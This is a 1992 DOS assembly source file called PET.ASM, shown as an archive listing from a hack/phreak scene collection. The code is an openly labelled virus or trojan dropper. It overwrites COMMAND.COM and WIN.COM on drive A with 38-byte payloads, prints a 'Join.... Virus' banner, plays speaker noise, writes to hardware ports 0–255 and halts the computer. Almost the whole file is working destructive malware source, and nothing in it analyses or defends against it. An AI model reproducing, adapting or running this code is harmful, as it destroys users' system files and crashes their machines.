home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / PET.ASM < prev    next >
Assembly Source File  |  1992-11-20  |  9KB  |  243 lines

  1. .model tiny
  2. .code
  3.  
  4.                 org  100h                                       ;Where we start
  5.  
  6. over:           jmp  infect                     ;Go straight to the
  7.                                                 ;drop routine and do it
  8. activate        proc    far
  9.  
  10. start:          mov     ah,0h                   ;Set the Video Mode
  11.                 mov     al,12h                  ;640x480 16 colors
  12.                 int     10h                     ;do it!
  13.  
  14.                 jmp     loc_1
  15. data_1          db      4
  16. data_2          dw      0
  17.         db     62h, 79h
  18. copyright       db      '  -=≡IO≡=-  '
  19.                 db      '(C) -= ARCV =-   '
  20. data_5          db      '            Join.... Virus ...Anon.'
  21.                 db      ' .*.*.*. '
  22.                 db      'The       Proto · T     Virus'
  23.                 db      '         '
  24.                 db      '       $'
  25. loc_1:
  26.                 push    si                      ;<G> Even from the command line
  27.                 push    di                      ;we're funny!
  28.                 mov     si,80h                  ;stick it in, just in case
  29.         cld                ; Clear direction
  30.         call    sub_1
  31.         cmp    byte ptr [si],0Dh
  32.         je    loc_4            ; Jump if equal
  33.                 mov     cx,28h
  34.         lea    di,data_5        ; ('Attention: Please press ') Load ef
  35. locloop_2:
  36.         lodsb                ; String [si] to al
  37.         cmp    al,0Dh
  38.         je    loc_3            ; Jump if equal
  39.         stosb                ; Store al to es:[di]
  40.         loop    locloop_2        ; Loop if cx > 0
  41. loc_3:
  42.         inc    cx
  43.         mov    al,2Eh            ; '.'
  44.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  45. loc_4:
  46.                 pop     di
  47.                 pop     si
  48.  
  49.                 mov     dx,si
  50.                 mov     cx,di
  51.                 mov     data_2,cx
  52. loc_5:
  53.         mov    data_1,0FFh
  54. loc_6:
  55.         add    data_1,1
  56.         mov    bl,data_1
  57.                 mov     cx,80
  58.         call    sub_2
  59.  
  60. locloop_7:
  61.         mov    al,byte ptr copyright+20h[bx]    ; ('.')
  62.                 mov     ah,0eh
  63.                 int     10h                     ; Video display   ah=functn 0Eh
  64.                         ;  write char al, teletype mode
  65.         inc    bx
  66.         call    sub_3
  67.         mov    dl,0FFh
  68.         mov    ah,6
  69.         int    21h            ; DOS Services  ah=function 06h
  70.                         ;  special char i/o, dl=subfunc
  71.         jnz    loc_10            ; Jump if not zero
  72.         loop    locloop_7        ; Loop if cx > 0
  73.  
  74.         cmp    byte ptr copyright+20h[bx],24h    ; ('.') '$'
  75.         je    loc_5            ; Jump if equal
  76.         jmp    short loc_6
  77.  
  78. activate        endp
  79.  
  80.  
  81. sub_1        proc    near
  82. loc_8:
  83.         inc    si
  84.         cmp    byte ptr [si],20h    ; ' '
  85.         je    loc_8            ; Jump if equal
  86.                 retn
  87. sub_1        endp
  88.  
  89. sub_2        proc    near
  90.                 NOP
  91.                 NOP
  92.                 push    ax
  93.                 push    bx
  94.                 push    cx
  95.                 push    dx
  96.                 NOP
  97.                 NOP
  98.                 mov     dx,si
  99.                 mov     cx,di
  100.                 inc     bh
  101.                 mov     ah,0Bh
  102.         int    10h            ; Video display   ah=functn 0Bh
  103.                 mov     ah,10h
  104.                 mov     al,0
  105.                 mov     bl,1
  106.                 mov     bh,10
  107.                 int     10h                     ; Video display   ah=functn 0Eh
  108.                 NOP
  109.                 NOP
  110.                 pop        dx
  111.                 pop        cx
  112.                 pop        bx
  113.                 pop        ax
  114.                 NOP
  115.                 NOP
  116.                 retn
  117. sub_2        endp
  118.  
  119. sub_3        proc    near
  120.         push    cx
  121.                 mov     cx,100h
  122. locloop_9:
  123.         loop    locloop_9        ; Loop if cx > 0
  124.         pop    cx
  125.         retn
  126. sub_3        endp
  127.  
  128. loc_10:
  129.         call    sub_2
  130.         mov    cx,4Fh
  131. locloop_11:
  132.         mov    al,20h            ; ' '
  133.                 mov     ah,0Eh
  134.         int    10h            ; Video display   ah=functn 0Eh
  135.                         ;  write char al, teletype mode
  136.         loop    locloop_11        ; Loop if cx > 0
  137.  
  138.                 mov     ah,13
  139.         mov    cx,data_2
  140.         int    10h            ; Video display   ah=functn 01h
  141.                 call    bang_bang               ; Let's make some noise now!
  142.                 int     20h
  143. infect:   NOP
  144.           NOP
  145.           mov  dx,offset file1_name             ; ready the file to do  #1
  146.           xor  cx,cx                            ; zero registers
  147.           mov  ax,3c02h                         ; create file w/ read-write
  148.           int  21h                              ; do it!
  149.  
  150.           xchg ax,bx
  151.           mov  ah,40h                           ; 40 hex write to file
  152.           mov  cx,38                            ; we're 38 bytes long
  153.           mov  dx,offset data1_file             ; and these are the 38 bytes
  154.           int  21h                              ; do it
  155.  
  156.           mov  ah,3eh                           ; close the file
  157.           int  21h                              ; do it
  158.  
  159.           mov  dx,offset file2_name             ; ready the file to do  #2
  160.           xor  cx,cx                            ; zero registers
  161.           mov  ax,3c02h                         ; create file w/ read-write
  162.           int  21h                              ; do it!
  163.  
  164.           xchg ax,bx
  165.           mov  ah,40h                           ; 40 hex write to file
  166.           mov  cx,38                            ; we're 38 bytes long
  167.           mov  dx,offset data2_file             ; and these are the 38 bytes
  168.           int  21h                              ; do it
  169.  
  170.           mov  ah,3eh                           ; close the file
  171.           int  21h                              ; do it
  172.  
  173.           mov  dx,offset file3_name             ; ready the file to do  #2
  174.           xor  cx,cx                            ; zero registers
  175.           mov  ax,3c02h                         ; create file w/ read-write
  176.           int  21h                              ; do it!
  177.  
  178.           xchg ax,bx
  179.           mov  ah,40h                           ; 40 hex write to file
  180.           mov  cx,38                            ; we're 38 bytes long
  181.           mov  dx,offset data3_file             ; and these are the 38 bytes
  182.           int  21h                              ; do it
  183.  
  184.           mov  ah,3eh                           ; close the file
  185.           int  21h                              ; do it
  186.  
  187.           jmp activate                         ; now let's run the pretty stuff
  188.  
  189. data1_file        db      '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; Better look
  190. file1_name        db      'A:\command.com',0                         ; at this under
  191. data2_file        db      '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; the DeBugger
  192. file2_name        db      'A:\dos\command.com',0                     ; to see what it
  193. data3_file        db      '░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&░╣ 3╥═&·⌠',0 ; does!!!
  194. file3_name        db      'A:\windows\win.com',0
  195. ;*************************************************************************
  196. ;
  197. ; The following segment comes from a VCL routine. Credit Due and Given!
  198. ;
  199. ;*************************************************************************
  200. bang_bang       proc    near
  201.                 mov     cx,0025h                ; First argument is 5
  202. new_shot:       push    cx            ; Save the current count
  203.         mov     dx,0140h        ; DX holds pitch
  204.         mov       bx,0100h        ; BX holds shot duration
  205.         in        al,061h            ; Read the speaker port
  206.         and       al,11111100b        ; Turn off the speaker bit
  207. fire_shot:    xor    al,2                    ; Toggle the speaker bit
  208.         out    061h,al            ; Write AL to speaker port
  209.         add     dx,09248h        ;
  210.         mov    cl,3                    ;
  211.         ror    dx,cl            ; Figure out the delay time
  212.         mov    cx,dx                   ;
  213.         and    cx,01FFh                ;
  214.         or    cx,10                   ;
  215. shoot_pause:    loop    shoot_pause             ; Delay a bit
  216.         dec    bx            ; Are we done with the shot?
  217.         jnz    fire_shot        ; If not, pulse the speaker
  218.         and       al,11111100b        ; Turn off the speaker bit
  219.         out       061h,al            ; Write AL to speaker port
  220.         mov       bx,0002h                ; BX holds delay time (ticks)
  221.         xor       ah,ah            ; Get time function
  222.         int       1Ah            ; BIOS timer interrupt
  223.         add       bx,dx                   ; Add current time to delay
  224. shoot_delay:    int       1Ah            ; Get the time again
  225.         cmp       dx,bx            ; Are we done yet?
  226.         jne       shoot_delay        ; If not, keep checking
  227.         pop    cx            ; Restore the count
  228.         loop    new_shot        ; Do another shot
  229.  
  230.                 xor     ah,ah                   ; BIOS get time function
  231.                 int     1Ah
  232.                 xchg    dx,ax                   ; AX holds low word of timer
  233.                 mov     dx,0FFh                 ; Start with port 255
  234. out_loop:       out     dx,al                   ; OUT a value to the port
  235.                 dec     dx                      ; Do the next port
  236.                 jne     out_loop                ; Repeat until DX = 0
  237.                 cli                             ; Clear the interrupt flag
  238.                 hlt                             ; HaLT the computer
  239.                 jmp     short $                 ; Just to make sure
  240. endp            bang_bang
  241.  
  242. end       over                                   ; <SIGH> We're Done!
  243.